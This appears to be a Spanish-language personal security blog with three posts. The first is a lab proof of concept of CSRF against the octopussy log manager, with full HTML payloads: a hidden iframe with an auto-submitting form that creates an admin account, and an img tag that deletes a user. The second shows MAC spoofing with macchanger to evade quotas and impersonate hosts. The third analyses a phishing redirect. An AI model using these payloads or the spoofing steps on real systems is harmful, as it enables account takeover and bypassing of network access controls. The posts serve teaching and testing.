viernes, 1 de marzo de 2013

Un poco de CSRF

Aca de nuevo trayendo algo que me interesó hace unos días y me parecía que valía la pena probar y comentar acá. Se trata de las vulnerabilidades de tipo CSRF (Cross Site Request Forgery), también se las conoce por otros nombres, pero este es el mas usado.

¿Qué es CSRF?
Básicamente se trata de un tipo de ataque mediante el cual se intenta que la víctima realice una determinada operación en una aplicación web sin saberlo. Esta técnica se aprovecha de aplicaciones web que tienen una estructura de peticiones predecibles.
El detalle está en que si el usuario se encuentra autenticado en la aplicación el browser mismo ocultará la operación incluyendo en la petición las credenciales de autenticación (cookie, basic-auth, etc), como si se tratara de una petición completamente legítima.

Y como sabemos... muchas veces los usuarios NO cierran las sesiones de sus aplicaciones web como corresponde y sumado al hecho de que a veces las cookies no expiran en tiempos razonables... booooom! CSRF attack!!!

Ejemplo:
Supongamos que tenemos un sitio www.sitiodeprueba.com. Se trata de una aplicación PHP escrita a mano y que una vez lograda la autenticación con mi usuario y contraseña me asigna una cookie de sesión con la cual se autentica en cada petición. La aplicación permite cargar usuarios, modificarlos y eliminarlos. Cuando ingresamos a la opción de agregar usuario nos encontramos con un formulario sencillo con dos campos input uno de nombre y otro de contraseña y por último el botón de "Nuevo Usuario".

En HTML sería algo así:


<form name="agregar_usuario" method="GET" action="usuarios.php">
    <tr>
        <input type="text" name="nombre"></td>
        <input type="password" name="password"></td>
        <input type="submit" name="submit" value="Nuevo Usuario">
    </tr>
</form>

Este formulario, si ingresamos como nombre y password Juan y luego presionamos el botón "Nuevo Usuario", sencillamente se transforma en http://www.sitiodeprueba.com/usuarios.php?nombre=Juan&password=Juan y se envía como una petición de tipo GET.
Si ahora escribimos en la barra de dirección del browser www.sitiodeprueba.com/usuarios.php?nombre=Ramon&password=Ramon123 , estariamos creando el usuario de nombre Ramon y de password Ramon123. Esto se trata de una petición (GET en este caso) predecible, la petición NO incluye atributos que la distingan de la anterior o de la próxima. De una forma muy similar se puede lograr lo mismo si se trata de peticiones de tipo POST.

Entonces para explotar una vulnerabilidad CSRF se necesitan: un usuario autenticado y una petición que sea fácilmente reproducible. Pero falta algo mas... falta lograr que el usuario autenticado realice la petición en cuestión y en lo posible sin que se de cuenta!!! Hay varias formas de hacer llegar la petición a la víctima, algunas mas camufladas que otras. Las formas van desde: enviar por correo los links, hasta insertar el código en un sitio web el cual sabemos que la víctima visita frecuentemente.

Prueba de concepto:
Bien, ahora vamos a probar la teoría. La situación de prueba es la siguiente.


Tenemos una máquina virtual (172.16.62.145) con un software de administración de logs llamado octopusy (versión 1.0-4, la versión que viene con Ubuntu 12.04.2 LTS). Esta aplicación se encuentra en el puerto 8888 (HTTPS).

Si iniciamos sesión como administrador vemos que se nos asigna una cookie de sesión, la cuál nos autentica luego en cada petición que le hacemos a la aplicación:


Viendo un poco la aplicación resulta que tiene varias peticiones que se podrían reproducir fácilmente y hacer CSRF.
En el menú de usuarios podemos agregar, modificar y borrar usuarios.


Si vemos un poco el código de fuente (HTML) de user.asp, agregar un nuevo usuario consiste en el siguiente formulario:

...

<form name="unknown" method="POST" action="./user.asp">
<tr class="box">
<td class="box">
<input type="text" name="login"></td>
<td class="box">
<input type="password" name="password" value=""></td>
<td class="box" align="center" ></td>
<td class="box">
<select   name="AAT_Language">
EN<option value="EN">Ingles</option>
FR<option value="FR">Frances</option>
DE<option value="DE">Aleman</option>
IT<option value="IT">Italiano</option>
PT<option value="PT">Portugues</option>
RU<option value="RU">Ruso</option>
ES<option  selected value="ES">Español</option>
</select></td>
<td class="box">
<select   name="user_role">
admin<option value="admin">Admin</option>
ro<option value="ro">Read Only</option>
rw<option value="rw">Read Write</option>
restricted<option value="restricted">Restricted</option>
</select></td>
<td class="box">
<select   name="status">
Enabled<option value="Enabled">Habilitado</option>
Disabled<option value="Disabled">Deshabilitado</option>
</select></td>
<td class="box" align="center"  colspan="3"><input type="submit" name="submit" value="Nuevo Usuario"></td>
</tr>
</form>
...

Es un formulario POST común y sin ninguna particularidad que nos impida reproducirlo. Entonces empiezan las pruebas.

Prueba 1: reproducción sencilla del formulario para agregar un nuevo usuario. En esta prueba solamente aislamos y reproducimos el formulario. NOTA: ahora el atributo action de la etiqueta form debe llevar la dirección completa del recurso, en nuestro caso https://172.16.62.145:8888/user.asp.

<html>
    <head>
        <title>Prueba CSRF</title>
    </head>
    <body>
        <p>Prueba de csrf 2</p>
        <p>Reproducción sencilla del formulario de creación de nuevo usuario.</p>
        <p>
            <form name="unknown" id="unknown" method="POST" action="https://172.16.62.145:8888/user.asp">
                <tr class="box">
                    <td class="box"><input type="text" name="login" value="malo"></td>
                    <td class="box"><input type="password" name="password" value="malo"></td>
                    <td class="box">
                        <select   name="AAT_Language">
                        EN<option value="EN">Ingles</option>
                        FR<option value="FR">Frances</option>
                        DE<option value="DE">Aleman</option>
                        IT<option value="IT">Italiano</option>
                        PT<option value="PT">Portugues</option>
                        RU<option value="RU">Ruso</option>
                        ES<option  selected value="ES">Español</option>
                        </select>
                    </td>
                    <td class="box">
                    <select   name="user_role">
                    admin<option value="admin">Admin</option>
                    ro<option value="ro">Read Only</option>
                    rw<option value="rw">Read Write</option>
                    restricted<option value="restricted">Restricted</option>
                    </select>
                    </td>
                    <td class="box">
                        <select   name="status">
                        Enabled<option value="Enabled">Habilitado</option>
                        Disabled<option value="Disabled">Deshabilitado</option>
                        </select>
                    </td>
                    <input type="submit" name="submit" value="Nuevo Usuario">
                </tr>
            </form>
        </p>
    </body>
</html>

Si abrimos con el browser el archivo CSRF2.html veremos:


Una vez que presionemos el botón "Nuevo Usuario" veremos:


Tenemos creado el nuevo usuario, nombre=malo password=malo!!! Ahora ya sabemos que el ataque es posible, solo hay que lograr ocultarlo para que no sea tan evidente.

Prueba 2: ahora vamos a automatizar y ocultar el ataque de forma tal que la víctima no vea qué sucedió. Para lograr esto vamos a requerir la ayuda de los famosos iframe y javascript.

Por un lado tenemos el archivo CSRF3.html:

<html>
    <head>
        <title>Prueba CSRF</title>
    </head>
    <body>
        <h2>Prueba de CSRF 3</h2>
        <p>Haciendo una petición por POST con un formulario automático, dentro de un iframe casi invisible.</p>
        <p>Resultado: creación de un nuevo usuario con privilegios de administrado llamado "malo2".</p>
        <iframe src="formulario_nuevo_usuario.html" width="0" height="0">
    </body>
</html>

Un HTML sencillo que podría ser un sitio cualquiera, pero que contiene un iframe de tamaño despreciable y que carga el archivo formulario_nuevo_usuario.html. Este último html es el que contiene nuestra nueva versión reducida del formulario de alta de usuario, que es la siguiente:

<form name="unknown" id="unknown" method="POST" action="https://172.16.62.145:8888/user.asp">
    <tr class="box">
        <td class="box">
            <input type="text" name="login" value="malo2"></td>
        <td class="box">
        <input type="password" name="password" value="malo"></td>
        <td class="box">
            <select   name="AAT_Language">
            ES<option  selected value="ES">Español</option>
            </select>
        </td>
        <td class="box">
        <select   name="user_role">
        admin<option selected value="admin">Admin</option>
        </select>
        </td>
        <td class="box">
            <select   name="status">
            Enabled<option selected value="Enabled">Habilitado</option>
            </select>
        </td>
    </tr>
</form>
<script>document.unknown.submit();</script>

Sencillamente recortamos las selecciones de las etiquetas select y dejamos seleccionadas las características que queremos que tenga el usuario (idioma español, rol admin y que esté activado), quitamos el botón "Nuevo Usuario" y por último agregamos una linea de javascript que procesa el formulario automáticamente.

Si ahora abrimos nuestro archivo CSRF3.html nos encontramos con:


Nada... un cuadradito pequeño allí que poco importa a quien no sospecha de nada y menos aún si se camufla en un gran sitio web con muchos colores e imágenes. Pero... si vamos a ver los usuarios vemos:



El usuario "malo2" se creo sin llamar la atención del administrador.

Prueba 3: muchas veces resulta ser que tanto las peticiones GET como las POST son procesadas indistintamente por las aplicaciones. Esto quiere decir que podría no ser necesario recurrir a los trucos de las 2 pruebas anteriores... ¿Por qué no probar enviar una petición GET con los mismo campos que la petición POST?

link: https://172.16.62.145:8888/user.asp?login=malo3&password=malo&AAT_Language=ES&user_role=admin&status=Enabled

Resultado:


Si bien se muestra el usuario creado, es imposible acceder con el mismo y se ve claramente que no tomó los atributos que indicamos. Esto indica que la aplicación se comporta de manera diferente ante una petición GET con los mismos atributos.

Prueba 4: por último vamos a ver el caso más sencillo de ocultar y se trata justamente de las peticiones GET. Las peticiones GET se pueden enmascarar por ejemplo con una etiqueta html img. Buscando un poco en la aplicación vemos que esto se podría hacer en la opción de eliminar usuario. Cuando decidimos eliminar un usuario se nos presenta una nueva página donde podemos elegir entre confirmar nuestra operación o cancelarla.


Como podemos ver, el link del botón de ok es claramente una petición de tipo GET.

https://172.16.62.145:8888/user.asp?login=malo3&action=remove

Ahora ya sabemos que si hacemos click en un link solamente indicando el nombre del usuario y la acción remove, podemos eliminarlo de la aplicación (siempre y cuando quien haga click se haya autenticado previamente con los privilegios necesarios, en nuestro caso el administrador).
Paso siguiente creamos el archivo CSRF4.html con el siguiente contenido:

<html>  
    <head>
        <title>Prueba CSRF</title>
    </head>
    <body>
        <h2>Prueba de CSRF 4</h2>
        <p>Haciendo CSRF por GET a través de un tag img.</p>
        <p>Resultado: eliminación del usuario de nombre "malo".</p>      
        <p>
            <img src="https://172.16.62.145:8888/user.asp?login=malo3&action=remove"/>
        </p>
    </body>
</html>

La línea que lo hace todo es <img src="https://172.16.62.145:8888/user.asp?login=malo3&action=remove"/> por lo tanto alcanzaría insertar esa línea en cualquier sitio que la víctima visite frecuentemente.

Si abrimos el archivo con el browser vemos:


Simplemente una imagen que desgraciadamente no pudo cargarse, que pena...
Pero en la aplicación se pueden ver las consecuencias de esa imagen sin cargar:


El usuario malo3 ha sido eliminado por el usuario admin sin que este último tenga la mas mínima intención.

Resultados de las pruebas:
-Crear usuarios
-Eliminar usuarios

Situación hipotética: supongamos por un segundo que este servidor pertenece a la red privada de una organización y que existe en el firewall principal una regla de redirección que les permite a los administradores acceder remotamente a la aplicación (porque los administradores a veces trabajn desde sus casas :P). Si los atacantes lograran que los administradores ejecuten alguna de las pruebas hechas anteriormente, podrían hacerse con un usuario y contraseña válidos para ingresar a la aplicación remotamente, sin necesidad de estar en la red privada. Esto significa que podrían hacer con los logs lo que quieran. A partir de allí podrían buscar otras vulnerabilidades en la aplicación y comenzar a escalar privilegios, desde un servidor en la red privada... OMG!!!

Ja... todo lo que podría pasar con un solo click, no?

Para quienes quieran interiorizar en CSRF, busquen el white paper de Jesse Burns "Cross Site Request Forgery An introduction to a common web application weakness". También en http://www.google.com/search?q=CSRF .

Saludossss

viernes, 2 de noviembre de 2012

De los bloqueos por MAC y demas hierbas

Primer post desde la tierra Kiwi (aaah cierto, me fui a New Zealand de paseo un tiempo :D). Las primeras impresiones del país son muy positivas, limpio, ordenado, las cosas funcionan, PERO... Internet es prácticamente inexistente. Suena muy loco en un país tan desarrollado, pero aparentemente se puede vivir sin estar conectado 24x7 (APARENTEMENTE!!!).

Este va a ser un post sencillo, para evadir una restricción de igual naturaleza. Cuando uno se encuentra en una red LAN básicamente (redes tipo ethernet, 802.11 wi-fi y otras mas) se encuentra identificado por una dirección MAC (sisi, también por una dirección IP, pero en primera instacia solo por la dirección MAC, :D, don't panic!). Se dice que una dirección MAC (http://es.wikipedia.org/wiki/MAC_address) identifica unívocamente a un adaptador de red físico, consiste en 48 bits formados por 6 bloques de 8 bits. Por ejemplo: 00:16:1b:5f:57:c3. Se supone que esta dirección es propia del adaptador de red y NO se puede cambiar, por este motivo muchas veces es utilizada para restringir el acceso a los servicios en una LAN.
Bien, resulta ser de que esta dirección SI se puede cambiar. Cambiándola se pueden conseguir cosas muy interesante, como el famosos ataque de MIM (man in the middle, hombre en el medio), pero eso no viene al caso ahora :D. Cambiando esta dirección en una LAN sobre la que no tenemos control nos permite básicamente cambiar nuestra identidad y por ejemplo permitiría cambiar la dirección IP en caso de que el DHCP las asigne estáticamente o hacernos pasar por otro miembro de la red.

Las pruebas se hicieron sobre mi laptop y en particular sobre la interfaz wlan0 (el adaptador de red wifi).

Ver la dirección MAC actual:

juan@moon:~$ ifconfig wlan0
wlan0     Link encap:Ethernet  direcciónHW 00:16:1b:5f:57:c3 
          Direc. inet:172.31.62.24  Difus.:172.31.255.255  Másc:255.255.0.0
          Dirección inet6: fe80::216:1bff:fe5f:57c3/64 Alcance:Enlace
          ACTIVO DIFUSIÓN FUNCIONANDO MULTICAST  MTU:1500  Métrica:1
          Paquetes RX:17814 errores:0 perdidos:0 overruns:0 frame:0
          Paquetes TX:10555 errores:0 perdidos:0 overruns:0 carrier:0
          colisiones:0 long.colaTX:1000
          Bytes RX:12942393 (12.9 MB)  TX bytes:2236128 (2.2 MB)

juan@moon:~$


En este caso la MAC de mi adaptador wlan0 es 00:16:1b:5f:57:c3.

Posiblemente en alguna distribución se requiera permisos de root para utilizar ifconfig o utilizar el path completo /sbin/ifconfig. En ubuntu no es necesario :D.
Para facilitar la tarea del cambio de mac utilicé una aplicación llamada (extrañamente xD) macchanger (se puede obtener mediante: apt-get install macchanger).

Primero detenemos el servicio network-manager para que el adaptador de red no esté en uso:

root@moon:/home/juan# /etc/init.d/network-manager stop
Rather than invoking init scripts through /etc/init.d, use the service(8)
utility, e.g. service network-manager stop

Since the script you are attempting to invoke has been converted to an
Upstart job, you may also use the stop(8) utility, e.g. stop network-manager
network-manager stop/waiting


Cambiamos la dirección MAC por una aleatoria utilizando macchanger. El parámetro -a indica que la MAC a asignar será aleatoria y de cualquier fabricante, y luego se indica sobre qué adaptador de red debe hacer el cambio (wlan0 en este caso):

root@moon:/home/juan# macchanger -a wlan0
Permanent MAC: 00:25:e2:24:24:1a (Azurewave Technologies, Inc)
Current   MAC: 00:16:1b:5f:57:c3 (Micronet Corporation)
New       MAC: 00:14:7b:74:b2:95 (Iteris, Inc.)


Iniciamos nuevamente el network-manager:

root@moon:/home/juan# /etc/init.d/network-manager start
Rather than invoking init scripts through /etc/init.d, use the service(8)
utility, e.g. service network-manager start

Since the script you are attempting to invoke has been converted to an
Upstart job, you may also use the start(8) utility, e.g. start network-manager
network-manager start/running, process 3171


Y ahora comprobamos la nueva configuración del adaptador wlan0:

juan@moon:~$ ifconfig wlan0
wlan0     Link encap:Ethernet  direcciónHW 00:14:7b:74:b2:95 
          Direc. inet:172.31.65.63  Difus.:172.31.255.255  Másc:255.255.0.0
          Dirección inet6: fe80::214:7bff:fe74:b295/64 Alcance:Enlace
          ACTIVO DIFUSIÓN FUNCIONANDO MULTICAST  MTU:1500  Métrica:1
          Paquetes RX:25972 errores:0 perdidos:0 overruns:0 frame:0
          Paquetes TX:14249 errores:0 perdidos:0 overruns:0 carrier:0
          colisiones:0 long.colaTX:1000
          Bytes RX:14604765 (14.6 MB)  TX bytes:3433891 (3.4 MB)

juan@moon:~$


Vemos que cambió la dirección MAC y también la dirección IP, dado que el servidor DHCP identificó a la dirección MAC como un nuevo dispositivo y le asignó una IP diferente a la anterior. Con esto nos alcanza para evadir ciertas restricciones como cuando nos limitan a por ejemplo una X cantidad de MB diarios gratis, generalmente este tipo de controles se realizan por MAC.

Otra posibilidad que nos brinda macchanger es elegir qué MAC ponerle al adaptador de red, ya se imaginarán para que puede servir eso jajaja.

miércoles, 4 de julio de 2012

mails de phishing news-story24.com

Buenos días!!! hoy va una entrada medio express porque tengo que ponerme a avanzar un poco con la tesis así que ahí vamos.

Resulta que esta mañana viendo los correos, me encuentro con que alguien que jamás me escribió, me mandó un link (http://moneyathomestor e.com/wp-admin/ultrup.html?rwz=bhhqeu). El mail no llama para nada la atención, no tiene asunto ni texto mas allá del propio enlace.

A simple vista se ve que se trata de un sitio hecho en wordpress (por el wp-admin). Como bien saben hay un dicho que dice "La curiosidad mató al gato", así que allá fue: copie la el link y lo pegué en el browser.

El link no nos lleva a al home del sitio principal, sino a algo similar a esto:


 Cuyo código (precario) es:


<h1>
You are here because one of your friends <br> have invited you.<br>
Page loading, please wait....
h1>
<meta http-equiv="refresh" content="3; url=http://news-story24.com/">


nos redirije a news-story24.com. Simpático!!! Analizando ese sitio con virustotal.com (https://www.virustotal.com/url/a7bb4e464122a7917a0b1fad660287c2ba7ec6e1fa80c423e69f7fb117888785/analysis/1341407178/) nos dice que es un sitio fraudulento y que se dedica al phishing, que raro xD.

Bien, veamos de qué se trata don news-story24!!! 

A simple vista el sitio se ve muy bonito:


Pero si empezamos a leerla y a pasear el mouse sobre ella nos encontramos con algo muy particular:

-Todos los links internos llevan a http://news-story24.com/hcg.php?s= , raro no?

Podemos ver todos los links disponibles en el sitio con:

$ curl news-story24.com 2>/dev/null| perl -n -e '/href=\"(.*?)\"/ && print "$1\n"'
Encontramos con 26 links a hcg.php?s=, y el resto son links de perfiles de facebook.

El link en cuestión nos redirije (por 301, moved permanently) a http://www984.hcg-diet-ultra.com/order.php?s= (también sospechoso https://www.virustotal.com/url/16574b392a4d0e682574573da7b073e7b297051a5b21ddc62a3884fef15cb374/analysis/1341411688/). Donde vemos todas las ofertas disponibles. 

Como nos morimos de ganas de comprar un producto para combatir nuestro exceso de peso (cuak!), procedemos a llenar el formulario. Notamos:

-Que en la parte baja del sitio tenemos imágenes como


Por las cuales uno podría pensar que se trata de un sitio seguro y confiable, pero no existe conexión https, y de hecho el formulario es procesador por el script http://www420.hcg-diet-ultra.com/success.php . 

A ver... puede que se trate de un sitio de ventas genuino, pero:

-Están utilizando spam entre otras cosas para promocionarse.
-No utilizan conexiones seguras para que el usuario pueda ingresar sus datos privados de manera confiable.